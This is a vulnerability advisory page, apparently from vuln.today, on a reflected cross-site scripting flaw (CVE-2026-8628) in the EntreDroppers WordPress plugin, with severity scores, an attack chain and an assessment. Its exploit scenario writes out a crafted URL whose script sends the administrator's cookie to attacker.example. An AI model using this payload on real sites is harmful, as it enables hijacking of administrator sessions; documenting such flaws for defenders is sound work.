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EntreDroppers CVE-2026-8628

| EUVDEUVD-2026-38671 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-24 Wordfence GHSA-6p26-r96w-ch29
6.1
CVSS 3.1 · Vendor: Wordfence
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Severity by source

Vendor (Wordfence) PRIMARY
6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI
6.1 MEDIUM

AV:N and PR:N reflect attacker perspective; UI:R is mandatory; S:C captures browser DOM cross-context impact; C:L/I:L reflect limited cookie/content exposure with no availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Analysis Generated
Jun 24, 2026 - 07:02 vuln.today
CVE Published
Jun 24, 2026 - 05:33 cve.org
MEDIUM 6.1

DescriptionCVE.org

The EntreDroppers plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via PHP_SELF Parameter in all versions up to, and including, 1.1.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. The payload is delivered via attacker-controlled path-info in the URL (e.g., /wp-admin/admin.php/"><script>alert(0)</script>/?page=EntreDroppers.php), which PHP_SELF reflects directly into the form action attribute.

AnalysisAI

Reflected Cross-Site Scripting in the EntreDroppers WordPress plugin (all versions through 1.1.2) allows unauthenticated attackers to inject arbitrary JavaScript into victim browsers by embedding script payloads in the URL path-info segment, which PHP reflects unsanitized through the PHP_SELF server variable into the form action attribute at EntreDroppers.php line 223. Successful exploitation requires tricking an authenticated WordPress administrator into clicking a crafted link pointing to the /wp-admin/ context, making this a social-engineering-dependent attack. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Craft URL with PHP_SELF XSS payload
Delivery
Deliver link to WordPress admin via phishing
Exploit
Admin clicks link while authenticated
Execution
PHP_SELF reflects payload into form action attribute
Persist
Script executes in admin browser context
Impact
Steal session cookie or perform admin actions

Vulnerability AssessmentAI

Exploitation The attack requires two concrete conditions: first, the target WordPress site must have the EntreDroppers plugin installed and active in version 1.1.2 or earlier, with the admin page accessible at /wp-admin/admin.php?page=EntreDroppers.php; second, the victim must be an authenticated WordPress administrator who is tricked into clicking the attacker-crafted URL - the payload executes only in the context of an active wp-admin session, since the reflected output is in an admin panel page. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 6.1 (Medium) score with vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N reflects realistic risk well: network-reachable, low complexity, no attacker privileges required, but critically dependent on UI:R - the victim must click a crafted link. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker identifies a WordPress site running EntreDroppers plugin and crafts a URL of the form /wp-admin/admin.php/"><script>document.location='https://attacker.example/steal?c='+document.cookie</script>/?page=EntreDroppers.php, then delivers it to a site administrator via a phishing email or social media message. When the administrator clicks the link while logged into the WordPress admin panel, the browser renders the page with the injected script in the form action attribute and executes it, allowing the attacker to harvest session cookies or perform actions on behalf of the admin.
Remediation No vendor-released patched version has been confirmed from available data - the Trac reference links to the trunk source but does not indicate a tagged fixed release. … Detailed patch versions, workarounds, and compensating controls in full report.

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CVE-2026-8628 vulnerability details – vuln.today

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